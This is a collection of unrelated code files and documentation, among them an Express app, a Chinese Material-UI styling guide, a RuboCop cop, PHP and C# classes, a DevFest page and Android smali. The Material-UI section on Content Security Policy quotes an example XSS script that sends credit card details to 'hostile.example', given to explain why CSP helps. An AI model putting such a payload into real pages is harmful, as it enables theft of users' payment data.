      <Text>MANUFACTURING BASE RESEARCH</Text>
    </ProgramReference>
    <ProgramReference>
      MANU
      <Text>MANUFACTURING</Text>
    </ProgramReference>
  </Award>
</rootTag>


text:
'use strict';

const createError = require('http-errors');
const express = require('express');
const path = require('path');
const cookieParser = require('cookie-parser');

const indexRouter = require('./routes/index');

const app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jsx');
app.engine('jsx',require('express-react-views').createEngine());

app.use(express.json());
app.use(express.urlencoded({extended: false}));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

const Io = require('./server/socketeer/Io.js');
Io.start();

// catch 404 and forward to error handler
app.use((req, res, next) => {
  next(createError(404));
});

// error handler
app.use((err, req, res, next) => {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;


text:
#ifndef TENSORFLOW_LITE_STDERR_REPORTER_H_
#define TENSORFLOW_LITE_STDERR_REPORTER_H_

#include <cstdarg>

#include "tensorflow/lite/c/common.h"
#include "tensorflow/lite/core/api/error_reporter.h"

namespace tflite {

// An error reporter that simply writes the message to stderr.
struct StderrReporter : public ErrorReporter {
  int Report(const char* format, va_list args) override;
};

// Return the default error reporter (output to stderr).
ErrorReporter* DefaultErrorReporter();

}  // namespace tflite

#endif  // TENSORFLOW_LITE_STDERR_REPORTER_H_


text:
# 高级

本节包含了更多 @material-ui/styles 的进阶用法。

## 主题

添加` ThemeProvider `到应用程序的顶层,将主题传递到React组件树。 然后,您可以在样式函数中访问主题对象。

```jsx
import { ThemeProvider } from '@material-ui/styles';

const theme = {
  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
};

function Theming() {
  return (
    <ThemeProvider theme={theme}>
      <DeepChild />
    </ThemeProvider>
  );
}
```

{{"demo": "pages/styles/advanced/Theming.js"}}

### 访问组件中的主题

在组件中访问 @material-ui/styles 主题。

#### `useTheme` hook

```jsx
import { useTheme } from '@material-ui/styles';

function DeepChild() {
  const theme = useTheme();
  return <span>{`spacing ${theme.spacing}`}</span>;
}
```

{{"demo": "pages/styles/advanced/UseTheme.js"}}

#### `withTheme` HOC

```jsx
import { withTheme } from '@material-ui/styles';

function DeepChildRaw(props) {
  return <span>{`spacing ${props.theme.spacing}`}</span>;
}

const DeepChild = withTheme(DeepChildRaw);
```

{{"demo": "pages/styles/advanced/WithTheme.js"}}

### 主题嵌套

您可以嵌套多个主题提供者。 在应用程序的不同区域需要应用不同外观时,这非常有用。

```jsx
<ThemeProvider theme={outerTheme}>
  <Child1 />
  <ThemeProvider theme={innerTheme}>
    <Child2 />
  </ThemeProvider>
</ThemeProvider>
```

{{"demo": "pages/styles/advanced/ThemeNesting.js"}}

内部主题将 **覆盖** 外部主题。 您可以通过提供一个函数来扩展外部主题:

```jsx
<ThemeProvider theme={…} >
  <Child1 />
  <ThemeProvider theme={outerTheme => ({ darkMode: true, ...outerTheme })}>
    <Child2 />
  </ThemeProvider>
</ThemeProvider>
```

## Overriding styles - `classes` prop

` makeStyles ` (hook generator) 和` withStyles ` (HOC) API允许为每个样式表创建多个样式规则。 每个样式规则都有自己的类名。 类名通过` classes `变量传入组件。 在为组件中的嵌套元素设置样式时,这尤其有用。

```jsx
// A style sheet
const useStyles = makeStyles({
  root: {}, // a style rule
  label: {}, // a nested style rule
});

function Nested(props) {
  const classes = useStyles();
  return (
    <button className={classes.root}> // 'jss1'
      <span className={classes.label}> // 'jss2'
        nested
      </span>
    </button>
  );
}

function Parent() {
  return <Nested />
}
```

但是,类名通常是不确定的。 父组件如何覆盖嵌套元素的样式?

### withStyles

这是最简单的情况。 包装组件接受` classes ` 属性, 它简单地合并了样式表提供的类名。

```jsx
const Nested = withStyles({
  root: {}, // a style rule
  label: {}, // a nested style rule
})(({ classes }) => (
  <button className={classes.root}>
    <span className={classes.label}> // 'jss2 my-label'
      Nested
    </span>
  </button>
));

function Parent() {
  return <Nested classes={{ label: 'my-label' }} />
}
```

### makeStyles

Hook API需要多写一点模版代码。 您需要转发父级组件的属性到hook作为第一个参数。

```jsx
const useStyles = makeStyles({
  root: {}, // a style rule
  label: {}, // a nested style rule
});

function Nested(props) {
  const classes = useStyles(props);
  return (
    <button className={classes.root}>
      <span className={classes.label}> // 'jss2 my-label'
        nested
      </span>
    </button>
  );
}

function Parent() {
  return <Nested classes={{ label: 'my-label' }} />
}
```

## JSS plugins

JSS使用插件来扩展其核心,允许您挑选所需的功能, 并且只为您正在使用的内容支付性能开销。

默认情况下,Material-UI不会启用所有插件。 以下(它是 [ jss-preset-default的子集](https://cssinjs.org/jss-preset-default/) ) 被包含在内:

- [jss-plugin-rule-value-function](https://cssinjs.org/jss-plugin-rule-value-function/)
- [jss-plugin-global](https://cssinjs.org/jss-plugin-global/)
- [jss-plugin-nested](https://cssinjs.org/jss-plugin-nested/)
- [jss-plugin-camel-case](https://cssinjs.org/jss-plugin-camel-case/)
- [jss-plugin-default-unit](https://cssinjs.org/jss-plugin-default-unit/)
- [jss-plugin-vendor-prefixer](https://cssinjs.org/jss-plugin-vendor-prefixer/)
- [jss-plugin-props-sort](https://cssinjs.org/jss-plugin-props-sort/)

当然,你可以自由的添加新插件。 我们有一个[](https://github.com/alitaheri/jss-rtl)jss-rtl插件的例子。

```jsx
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';
import rtl from 'jss-rtl'

const jss = create({
  plugins: [...jssPreset().plugins, rtl()],
});

function App() {
  return (
    <StylesProvider jss={jss}>
      ...
    </StylesProvider>
  );
}

export default App;
```

## 字符串模板

如果您更喜欢CSS语法而不是JSS,则可以使用[ jss-plugin-template ](https://cssinjs.org/jss-plugin-template/)插入。

```jsx
const useStyles = makeStyles({
  root: `
    background: linear-gradient(45deg, #fe6b8b 30%, #ff8e53 90%);
    border-radius: 3px;
    font-size: 16px;
    border: 0;
    color: white;
    height: 48px;
    padding: 0 30px;
    box-shadow: 0 3px 5px 2px rgba(255, 105, 135, 0.3);
  `,
});
```

请注意,这不支持选择器或嵌套规则。

{{"demo": "pages/styles/advanced/StringTemplates.js"}}

## CSS 注入顺序

> It's **really important** to understand how the CSS specificity is calculated by the browser, as it's one of the key elements to know when overriding styles. You are encouraged to read this MDN paragraph: [How is specificity calculated?](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#How_is_specificity_calculated)

默认情况下,注入的style标签会被插入到页面`<head>`元素的最后。 它们比页面上任何其他样式标签更具特异性,例如CSS模块, styled components。

### injectFirst

`StylesProvider`组件的属性 `injectFirst` 会把style标签注入到head的**前部**(意味着更低的权重)。

```jsx
import { StylesProvider } from '@material-ui/styles';

<StylesProvider injectFirst>
  {/* 你的组件树。
      样式化组件可以覆盖 Material-UI 的样式。 */}
</StylesProvider>
```

### `makeStyles` / `withStyles` / `styled`

使用 `makeStyles` / `withStyles` / `styled` 的注入顺序于调用顺序**相同**。 例如,在这种情况下,红色胜出:

```jsx
import clsx from 'clsx';
import { makeStyles } from '@material-ui/styles';

const useStylesBase = makeStyles({
  root: {
    color: 'blue', // 🔵
  },
});

const useStyles = makeStyles({
  root: {
    color: 'red', // 🔴
  },
});

export default function MyComponent() {
  // Order doesn't matter
  const classes = useStyles();
  const classesBase = useStylesBase();

  // Order doesn't matter
  const className = clsx(classes.root, classesBase.root)

  // color: red 🔴 wins.
  return <div className={className} />;
}
```

Hook 调用顺序和类名顺序**不影响**注入属性权重 。

### insertionPoint

JSS [提供了一种机制](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point)控制这种情况。 通过添加`insertionPoint`到HTML中,你可以[控制](https://cssinjs.org/jss-api#attach-style-sheets-in-a-specific-order)组件中CSS的插入位置。

#### HTML 注释

The simplest approach is to add an HTML comment to the `<head>` that determines where JSS will inject the styles:

```html
<head>
  <!-- jss-insertion-point -->
  <link href="...">
</head>
```

```jsx
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const jss = create({
  ...jssPreset(),
  // Define a custom insertion point that JSS will look for when injecting the styles into the DOM.
  insertionPoint: 'jss-insertion-point',
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;
```

#### 其他 HTML 元素

创建生产环境时, [Create React App](https://github.com/facebook/create-react-app) 会剥离 HTML 注释。 To get around this issue, you can provide a DOM element (other than a comment) as the JSS insertion point, for example, a `<noscript>` element:

```jsx
<head>
  <noscript id="jss-insertion-point" />
  <link href="..." />
</head>
```

```jsx
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const jss = create({
  ...jssPreset(),
  // Define a custom insertion point that JSS will look for when injecting the styles into the DOM.
  insertionPoint: document.getElementById('jss-insertion-point'),
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;
```

#### JS createComment

codesandbox.io prevents access to the `<head>` element. To get around this issue, you can use the JavaScript `document.createComment()` API:

```jsx
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const styleNode = document.createComment('jss-insertion-point');
document.head.insertBefore(styleNode, document.head.firstChild);

const jss = create({
  ...jssPreset(),
  // Define a custom insertion point that JSS will look for when injecting the styles into the DOM.
  insertionPoint: 'jss-insertion-point',
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;
```

## 服务器端呈现

This example returns a string of HTML and inlines the critical CSS required, right before it's used:

```jsx
import ReactDOMServer from 'react-dom/server';
import { ServerStyleSheets } from '@material-ui/styles';

function render() {
  const sheets = new ServerStyleSheets();

  const html = ReactDOMServer.renderToString(sheets.collect(<App />));
  const css = sheets.toString();

  return `
<!DOCTYPE html>
<html>
  <head>
    <style id="jss-server-side">${css}</style>
  </head>
  <body>
    <div id="root">${html}</div>
  </body>
</html>
  `;
}
```

You can [follow the server side guide](/guides/server-rendering/) for a more detailed example, or read the [`ServerStyleSheets`](/styles/api/#serverstylesheets) API documentation.

### Gatsby

There is [an official plugin](https://github.com/hupe1980/gatsby-plugin-material-ui) that enables server-side rendering for `@material-ui/styles`. Refer to the plugin's page for setup and usage instructions.

Refer to [this example project](https://github.com/mui-org/material-ui/blob/master/examples/gatsby) for an up-to-date usage example.

### Next.js

You need to have a custom `pages/_document.js`, then copy [this logic](https://github.com/mui-org/material-ui/blob/master/examples/nextjs/pages/_document.js) to inject the server-side rendered styles into the `<head>` element.

Refer to [this example project](https://github.com/mui-org/material-ui/blob/master/examples/nextjs) for an up-to-date usage example.

## Class names

The class names are generated by [the class name generator](/styles/api/#creategenerateclassname-options-class-name-generator).

### 默认值

By default, the class names generated by `@material-ui/styles` are **non-deterministic**; you can't rely on them to stay the same. Let's take the following style as an example:

```js
const useStyles = makeStyles({
  root: {
    opacity: 1,
  },
});
```

This will generate a class name such as `makeStyles-root-123`.

You have to use the `classes` prop of a component to override the styles. The non-deterministic nature of the class names enables style isolation.

- In **development**, the class name is: `.makeStyles-root-123`, following this logic:

```js
const sheetName = 'makeStyles';
const ruleName = 'root';
const identifier = 123;

const className = `${sheetName}-${ruleName}-${identifier}`;
```

- In **production**, the class name is: `.jss123`, following this logic:

```js
const productionPrefix = 'jss';
const identifier = 123;

const className = `${productionPrefix}-${identifier}`;
```

### With `@material-ui/core`

The generated class names of the `@material-ui/core` components behave differently. When the following conditions are met, the class names are **deterministic**:

- Only one theme provider is used (**No theme nesting**)
- The style sheet has a name that starts with `Mui` (all Material-UI components).
- The `disableGlobal` option of the [class name generator](/styles/api/#creategenerateclassname-options-class-name-generator) is `false` (the default).

These conditions are met with the most common use cases of `@material-ui/core`. For instance, this style sheet:

```jsx
const useStyles = makeStyles({
  root: { /* … */ },
  label: { /* … */ },
  outlined: {
    /* … */
    '&$disabled': { /* … */ },
  },
  outlinedPrimary: {
    /* … */
    '&:hover': { /* … */ },
  },
  disabled: {},
}, { name: 'MuiButton' });
```

generates the following class names that you can override:

```css
.MuiButton-root { /* … */ }
.MuiButton-label { /* … */ }
.MuiButton-outlined { /* … */ }
.MuiButton-outlined.Mui-disabled { /* … */ }
.MuiButton-outlinedPrimary: { /* … */ }
.MuiButton-outlinedPrimary:hover { /* … */ }
```

*This is a simplification of the `@material-ui/core/Button` component's style sheet.*

Customization of the TextField can be cumbersome with the [`classes` API](#overriding-styles-classes-prop), where you have to define the the classes prop. It's easier to use the default values, as described above. For example:

```jsx
import styled from 'styled-components';
import { TextField } from '@material-ui/core';

const StyledTextField = styled(TextField)`
  label.focused {
    color: green; 💚
  }
  .MuiOutlinedInput-root {
    fieldset {
      border-color: red; 💔
    }
    &:hover fieldset {
      border-color: yellow; 💛
    }
    &.Mui-focused fieldset {
      border-color: green; 💚
    }
  }
`;
```

{{"demo": "pages/styles/advanced/GlobalClassName.js"}}

## 全局CSS

### `jss-plugin-global`

The [`jss-plugin-global`](#jss-plugins) plugin is installed in the default preset. You can use it to define global class names.

{{"demo": "pages/styles/advanced/GlobalCss.js"}}

### Hybrid

You can also combine JSS generated class names with global ones.

{{"demo": "pages/styles/advanced/HybridGlobalCss.js"}}

## CSS prefixes

JSS uses feature detection to apply the correct prefixes. [Don't be surprised](https://github.com/mui-org/material-ui/issues/9293) if you can't see a specific prefix in the latest version of Chrome. Your browser probably doesn't need it.

## 内容安全政策(CSP)

### 什么是CSP,为什么它有用?

基本上,CSP通过要求开发人员将其资产从中检索的源列入白名单来缓解跨站点脚本(XSS)攻击。 此列表作为服务器的标头返回。 例如,假设您有一个托管在` https://example.com`的网站 CSP头`default-src:'self';`将允许位于`https://example.com/*`的所有资产并否认所有其他人。 如果您的网站的某个部分容易受到XSS的影响而未显示未转义的用户输入,则攻击者可以输入以下内容:

```html
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

此漏洞允许攻击者执行任何操作。 但是,使用安全的CSP标头,浏览器将不会加载此脚本。

You can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).

### 如何实现CSP?

为了将CSP与Material-UI(和JSS)一起使用,您需要使用nonce。 A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request. JSS有[一个很棒的教程](https://github.com/cssinjs/jss/blob/master/docs/csp.md)关于如何使用Express和React Helmet实现这一目标。 对于基本纲要,请继续阅读。

CSP nonce是Base 64编码的字符串。 你可以这样生成一个:

```js
import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');
```

It is very important that you use UUID version 4, as it generates an **unpredictable** string. 然后,将此随机数应用于CSP标头。 应用了随机数时,CSP标头可能如下所示:

```js
header('Content-Security-Policy')
  .set(`default-src 'self'; style-src: 'self' 'nonce-${nonce}';`);
```

If you are using Server-Side Rendering (SSR), you should pass the nonce in the `<style>` tag on the server.

```jsx
<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: sheets.toString() }}
/>
```

然后,您必须将此随机数传递给JSS,以便将其添加到后续`<style>`标记中。 The client-side gets the nonce from a header. 无论是否使用SSR,都必须包含此标头。

```jsx
<meta property="csp-nonce" content={nonce} />
```


text:
module RuboCop
  module Cop
    module Lint
      # This cop checks for calls to debugger or pry.
      #
      # @example
      #
      #   # bad (ok during development)
      #
      #   # using pry
      #   def some_method
      #     binding.pry
      #     do_something
      #   end
      #
      # @example
      #
      #   # bad (ok during development)
      #
      #   # using byebug
      #   def some_method
      #     byebug
      #     do_something
      #   end
      #
      # @example
      #
      #   # good
      #
      #   def some_method
      #     do_something
      #   end
      class Debugger < Cop
        MSG = 'Remove debugger entry point `%s`.'.freeze

        def_node_matcher :debugger_call?, <<-PATTERN
          {(send nil {:debugger :byebug} ...)
           (send (send nil :binding)
             {:pry :remote_pry :pry_remote} ...)
           (send (const nil :Pry) :rescue ...)
           (send nil {:save_and_open_page
                      :save_and_open_screenshot
                      :save_screenshot} ...)}
        PATTERN

        def_node_matcher :binding_irb_call?, <<-PATTERN
          (send (send nil :binding) :irb ...)
        PATTERN

        def_node_matcher :pry_rescue?, '(send (const nil :Pry) :rescue ...)'

        def on_send(node)
          return unless debugger_call?(node) || binding_irb?(node)

          add_offense(node)
        end

        private

        def message(node)
          format(MSG, node.source)
        end

        def binding_irb?(node)
          target_ruby_version >= 2.4 && binding_irb_call?(node)
        end
      end
    end
  end
end


text:
var fs = require('fs');
var crypto = require('crypto');
var zlib = require('zlib');

exports.readFileSync = function(enc_method, enc_passphrase, filename)
{
	var crypted = fs.readFileSync(filename, 'binary');

	var decipher = crypto.createDecipher(enc_method, enc_passphrase);
	var dec = decipher.update(crypted, 'binary', 'binary');
	dec += decipher.final('binary');
	return dec;
};

exports.readJFileSync = function(enc_method, enc_passphrase, filename)
{
	var raw = this.readFileSync(enc_method, enc_passphrase, filename);
	return JSON.parse(raw);
};

exports.writeFileSync = function(enc_method, enc_passphrase, filename, data)
{
	var cipher = crypto.createCipher(enc_method, enc_passphrase);
	var crypted = cipher.update(data, 'binary', 'binary');
	crypted += cipher.final('binary');

	fs.writeFileSync(filename, crypted, 'binary');

	return true;
};

exports.writeJFileSync = function(enc_method, enc_passphrase, filename, obj)
{
	var raw = JSON.stringify(obj);
	return this.writeFileSync(enc_method, enc_passphrase, filename, raw);
};


text:
<?php

class myUser extends sfBasicSecurityUser
{
  public function addTrabajoAlHistorial(Trabajo $job)
  {
    // Buscar trabajo ya almacenados en el historial de trabajo del usuario
    $ids = $this->getAttribute('historial_trabajo', array());

    // Un Trabajo no se puede almacenar dos veces en el historial
    if (!in_array($job->getId(), $ids))
    {
      // Añadir el trabajo actual en el principio de la matriz
      array_unshift($ids, $job->getId());

      // Almacenar el nuevo historial de trabajo, de nuevo en el período de sesiones
      // Sólo los 3 últimos puestos de trabajo vistos por el usuario se muestran
      $this->setAttribute('historial_trabajo', array_slice($ids, 0, 3));
    }
  }

  public function getHistorialTrabajo()
  {
    $ids = $this->getAttribute('historial_trabajo', array());

    if (!empty($ids))
    {
      return Doctrine_Core::getTable('Trabajo')
        ->createQuery('a')
        ->whereIn('a.id', $ids)
        ->execute()
      ;
    }

    return array();
  }

  public function resetHistorialTrabajo()
  {
    $this->getAttributeHolder()->remove('historial_trabajo');
  }
}


text:
using System;
using SQLite;
using SQLite.Net.Attributes;

namespace TennisBall.Entites
{
    [Serializable]
    public class BaseEntity
    {
        [PrimaryKey, AutoIncrement]
        public int Id { get; set; }
    }
}


text:
GDG DevFests are large, community-run events that can offer speaker sessions across multiple product areas, all-day hack-a-thons, code labs, and more.

Generally, the official DevFest Season runs from *September 1st* through *November 30th* as of the year 2015. This is true for 2016 as well.

Each GDG DevFest is inspired by and uniquely tailored to the needs of the developer community that hosts it. While no two events aspired to be exactly alike, each GDG DevFest , at its core, is powered by a shared belief that when developers come together to exchange ideas, amazing things can happen.

The invitation to host a GDG DevFest extends to active GDG chapters. GDG DevFests can be organized year round and are community run events.

Therefore, these events take the form desired by the community with minimal guidelines.
In order to ensure these events are bigger than regular GDG meetups though, there are a few recommendations:

- Duration of the event should be at least 5 hours
- Ideally more than 1 track if organizing a speaker session based event
- Hackathon - Ideally somewhere between 24-48 hours
***

[Find a GDG DevFest near you](http://gdg.events/devfest) or install the [GDG App](https://play.google.com/store/apps/details?id=org.gdg.frisbee.android) from the Google Play Store and join the fun!

## Resources
* [DevFest 2016 Organizer's Guide V2 / New](https://drive.google.com/file/d/0B55wxScz_BJtNXpfOFRUcEx2dm8/view)
* [DevFest 2016 Swag Samples](https://drive.google.com/drive/folders/0B55wxScz_BJtRXREMTE2VTU1UEk)
* [Guide to creating a successful hackathon](https://docs.google.com/document/d/18L8_Jg0BArikykWz3QC2Z12n9VsyGZFxY3UmWteit70/view)
* [Other DevFest 2016 Resources](https://drive.google.com/drive/folders/0B7eNn0CRewQ8TXZNd3JZY1ZHcWc)
* [Progressive Web Apps 2016 Organizer guide](https://drive.google.com/file/d/0B55wxScz_BJtQWJQWHZVSTRsa2c/view)

* [Running events on a scale or DevFest season is coming](https://www.youtube.com/watch?v=9VOUQXPQ92o) [slides](https://speakerdeck.com/zasadnyy/the-definitive-guide-to-large-scale-events-or-devfest-season-is-coming-dot-dot-dot)
*


text:
.class public Lcom/google/android/gms/drive/internal/s;
.super Ljava/lang/Object;

# interfaces
.implements Landroid/os/Parcelable$Creator;

# annotations
.annotation system Ldalvik/annotation/Signature;
    value = {
        "Ljava/lang/Object;Landroid/os/Parcelable$Creator<Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;>;"
    }
.end annotation

# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

.method static a(Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;Landroid/os/Parcel;I)V
    .locals 3

    invoke-static {p1}, Lcom/google/android/gms/common/internal/safeparcel/b;->o(Landroid/os/Parcel;)I

    move-result p2

    iget v0, p0, Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;->kg:I

    const/4 v1, 0x1

    invoke-static {p1, v1, v0}, Lcom/google/android/gms/common/internal/safeparcel/b;->c(Landroid/os/Parcel;II)V

    iget-wide v0, p0, Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;->rx:J

    const/4 v2, 0x2

    invoke-static {p1, v2, v0, v1}, Lcom/google/android/gms/common/internal/safeparcel/b;->a(Landroid/os/Parcel;IJ)V

    iget-wide v0, p0, Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;->ry:J

    const/4 v2, 0x3

    invoke-static {p1, v2, v0, v1}, Lcom/google/android/gms/common/internal/safeparcel/b;->a(Landroid/os/Parcel;IJ)V

    invoke-static {p1, p2}, Lcom/google/android/gms/common/internal/safeparcel/b;->D(Landroid/os/Parcel;I)V

    return-void
.end method

# virtual methods
.method public H(Landroid/os/Parcel;)Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;
    .locals 13

    invoke-static {p1}, Lcom/google/android/gms/common/internal/safeparcel/a;->n(Landroid/os/Parcel;)I

    move-result v6

    const/4 v7, 0x0

    const-wide/16 v8, 0x0

    const-wide/16 v10, 0x0

    :goto_0
    invoke-virtual {p1}, Landroid/os/Parcel;->dataPosition()I

    move-result v0

    if-ge v0, v6, :cond_0

    invoke-static {p1}, Lcom/google/android/gms/common/internal/safeparcel/a;->m(Landroid/os/Parcel;)I

    move-result v0

    move v12, v0

    invoke-static {v0}, Lcom/google/android/gms/common/internal/safeparcel/a;->M(I)I

    move-result v0

    packed-switch v0, :pswitch_data_0

    goto :goto_1

    :pswitch_data_0
    .packed-switch 0x1
        :pswitch_0
        :pswitch_1
        :pswitch_2
    .end packed-switch

    :pswitch_0
    invoke-static {p1, v12}, Lcom/google/android/gms/common/internal/safeparcel/a;->g(Landroid/os/Parcel;I)I

    move-result v7

    goto :goto_0

    :pswitch_1
    invoke-static {p1, v12}, Lcom/google/android/gms/common/internal/safeparcel/a;->h(Landroid/os/Parcel;I)J

    move-result-wide v8

    goto :goto_0

    :pswitch_2
    invoke-static {p1, v12}, Lcom/google/android/gms/common/internal/safeparcel/a;->h(Landroid/os/Parcel;I)J

    move-result-wide v10

    goto :goto_0

    :goto_1
    invoke-static {p1, v12}, Lcom/google/android/gms/common/internal/safeparcel/a;->b(Landroid/os/Parcel;I)V

    goto :goto_0

    :cond_0
    invoke-virtual {p1}, Landroid/os/Parcel;->dataPosition()I

    move-result v0

    if-eq v0, v6, :cond_1

    new-instance v0, Lcom/google/android/gms/common/internal/safeparcel/a$a;

    new-instance v1, Ljava/lang/StringBuilder;

    const-string v2, "Overread allowed size end="

    invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

    move-result-object v1

    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v1

    invoke-direct {v0, v1, p1}, Lcom/google/android/gms/common/internal/safeparcel/a$a;-><init>(Ljava/lang/String;Landroid/os/Parcel;)V

    throw v0

    :cond_1
    new-instance v0, Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;

    move v1, v7

    move-wide v2, v8

    move-wide v4, v10

    invoke-direct/range {v0 .. v5}, Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;-><init>(IJJ)V

    return-object v0
.end method

.method public ah(I)[Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;
    .locals 1

    new-array v0, p1, [Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;

    return-object v0
.end method

.method public synthetic createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
    .locals 1

    invoke-virtual {p0, p1}, Lcom/google/android/gms/drive/internal/s;->H(Landroid/os/Parcel;)Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;

    move-result-object v0

    return-object v0
.end method

.method public synthetic newArray(I)[Ljava/lang/Object;
    .locals 1

    invoke-virtual {p0, p1}, Lcom/google/android/gms/drive/internal/s;->ah(I)[Lcom/google/android/gms/drive/internal/OnDownloadProgressResponse;

    move-result-object v0

    return-object v0
.end method